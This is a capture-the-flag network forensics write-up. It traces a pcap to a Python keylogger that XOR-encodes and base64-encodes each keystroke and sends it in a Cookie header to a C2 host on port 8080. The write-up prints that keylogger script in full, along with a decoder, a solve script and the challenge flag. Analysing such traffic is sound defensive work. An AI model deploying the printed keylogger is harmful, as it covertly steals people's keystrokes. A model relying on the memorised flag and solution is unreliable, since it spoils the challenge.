**Network Forensics — C2 Keylogger Exfiltration via HTTP Cookie
**
File: traffic.pcapng
Category: Forensics
Difficulty: Easy
Flag: THM{V3r4_1s_w4tch1ng_0veR_y0u}
Step-by-Step
**Step 1 — Identify Suspicious Traffic
**
Loaded the pcap with Python + Scapy and counted TCP ports:
443 -> 368 packets
8080 -> 251 packets <-- unusual
The hint from @0xMia mentioned "pinging some random :8080 address every single second" — port 8080 is the covert channel.
Step 2 — Inspect the 8080 Traffic
The very first request was a download:
GET /temp/updates.py HTTP/1.1
Host: byte-lotus-hotel.thm:8080
The server (34.41.103.191:8080, SimpleHTTP Python server) served updates.py — a keylogger C2 script:
import requests
import base64
from pynput import keyboard
C2_URL = "http://byte-lotus-hotel.thm:8080/"
def getkey():
p1 = "H0t3lSt@ff0Nly"
p2 = "K3epS3cr3t!"
return p1 + p2
def xor(data: bytes, key: bytes) -> bytes:
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
def sendltr(character):
raw_bytes = character.encode('utf-8')
encrypted = xor(raw_bytes, getkey().encode('utf-8'))
b64_string = base64.b64encode(encrypted).decode('utf-8')
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) ByteLotusClient/1.1",
"Cookie": f"hotel_sess_state={b64_string}"
}
requests.get(C2_URL, headers=headers, timeout=0.5)
Key findings:
- XOR key:
H0t3lSt@ff0NlyK3epS3cr3t!(two concatenated strings) - Each keystroke: XOR → base64 →
Cookie: hotel_sess_state=header - Sent via innocent-looking
GET /requests
Step 3 — Extract the Exfil Cookies
All 30 keystrokes were found in cookie headers across the GET requests:
Cookie: hotel_sess_state=HA==
Cookie: hotel_sess_state=AA==
Cookie: hotel_sess_state=BQ==
...
Step 4 — Decode (base64 → XOR)
import base64
KEY = "H0t3lSt@ff0NlyK3epS3cr3t!"
def xor(data: bytes, key: str) -> bytes:
kb = key.encode('utf-8')
return bytes(b ^ kb[i % len(kb)] for i, b in enumerate(data))
for cookie in cookies:
raw = base64.b64decode(cookie)
print(xor(raw, KEY).decode(), end='')
Result
THM{V3r4_1s_w4tch1ng_0veR_y0u}
Covert Channel Summary
keyboard keystroke
→ XOR with "H0t3lSt@ff0NlyK3epS3cr3t!"
→ base64 encode
→ Cookie: hotel_sess_state=<b64>
→ GET / HTTP/1.1 to C2 at byte-lotus-hotel.thm:8080
Disguised as a hotel app "sync service" polling the server at regular intervals.
Tools Used
- Python + Scapy — pcap parsing
- Custom decoder — base64 + XOR
-
curl.exe— (optional) HTTP checks
# Byte Lotus - Network Forensics (C2 Keylogger Exfiltration)
# Fully automatic: finds C2 script, extracts XOR key from it,
# collects exfil cookies, decodes, prints flag.
#
# Usage: python solve_forensics.py <path_to_traffic.pcapng>
import sys
import re
import base64
from scapy.all import rdpcap
PCAP = sys.argv[1] if len(sys.argv) > 1 else r'traffic.pcapng'
def xor(data: bytes, key: str) -> bytes:
kb = key.encode('utf-8')
return bytes(b ^ kb[i % len(kb)] for i, b in enumerate(data))
print(f"[+] Reading {PCAP} ...")
pkts = rdpcap(PCAP)
# ---- Step 1: Find the C2 script download (GET /temp/updates.py) ----
print("\n[+] Step 1: Locating C2 script...")
script = b''
for p in pkts:
if p.haslayer('TCP') and p.sport == 8080 and p['TCP'].payload:
pay = bytes(p['TCP'].payload)
if b'import requests' in pay:
start = pay.find(b'import requests')
end = pay.find(b'\r\n\r\n', start)
script = pay[start:end] if end != -1 else pay[start:]
break
elif script and not pay.startswith(b'HTTP'):
script += pay
if not script:
print("[-] C2 script not found in capture!")
sys.exit(1)
print("[+] C2 script found:")
print(script.decode('utf-8', errors='replace'))
# ---- Step 2: Extract XOR key from the script automatically ----
print("\n[+] Step 2: Extracting XOR key from script...")
text = script.decode('utf-8', errors='replace')
# Pattern: key parts assigned to string variables and concatenated
parts = re.findall(r'[pv]\d?\s*=\s*"([^"]+)"', text)
key = ''.join(parts)
if not key:
# Fallback: look for any string near "return p1 + p2" style, or a single key var
m = re.search(r'return\s+(\w+)\s*\+\s*(\w+)', text)
if m:
key = parts[0] + parts[1] if len(parts) >= 2 else ''
if not key:
m = re.search(r'key\s*=\s*["\']([^"\']+)["\']', text, re.I)
key = m.group(1) if m else ''
if not key:
print("[-] Could not extract key automatically!")
sys.exit(1)
print(f"[+] XOR key: {key!r}")
# ---- Step 3: Extract all exfil cookies in packet order ----
print("\n[+] Step 3: Extracting exfil cookies...")
cookies = []
for p in pkts:
if p.haslayer('TCP') and p.dport == 8080 and p['TCP'].payload:
pay = bytes(p['TCP'].payload)
if b'hotel_sess_state=' in pay:
for m in pay.split(b'hotel_sess_state=')[1:]:
cookies.append(m.split(b'\r\n')[0].decode())
print(f"[+] Found {len(cookies)} cookies")
# ---- Step 4: Decode each keystroke (base64 -> XOR) ----
print("\n[+] Step 4: Decoding (base64 -> XOR)...")
chars = []
for c in cookies:
try:
raw = base64.b64decode(c)
chars.append(xor(raw, key).decode('utf-8', errors='replace'))
except Exception as e:
chars.append(f"<err:{e}>")
message = ''.join(chars)
# ---- Step 5: Report flag ----
print("\n[+] Decoded keystroke stream:")
print(message)
flag = re.search(r'THM\{[^}]+\}', message)
if flag:
print(f"\n[+] FLAG: {flag.group(0)}")
else:
print("\n[!] No THM{...} flag pattern found in decoded data — check the full output above.")

Top comments (0)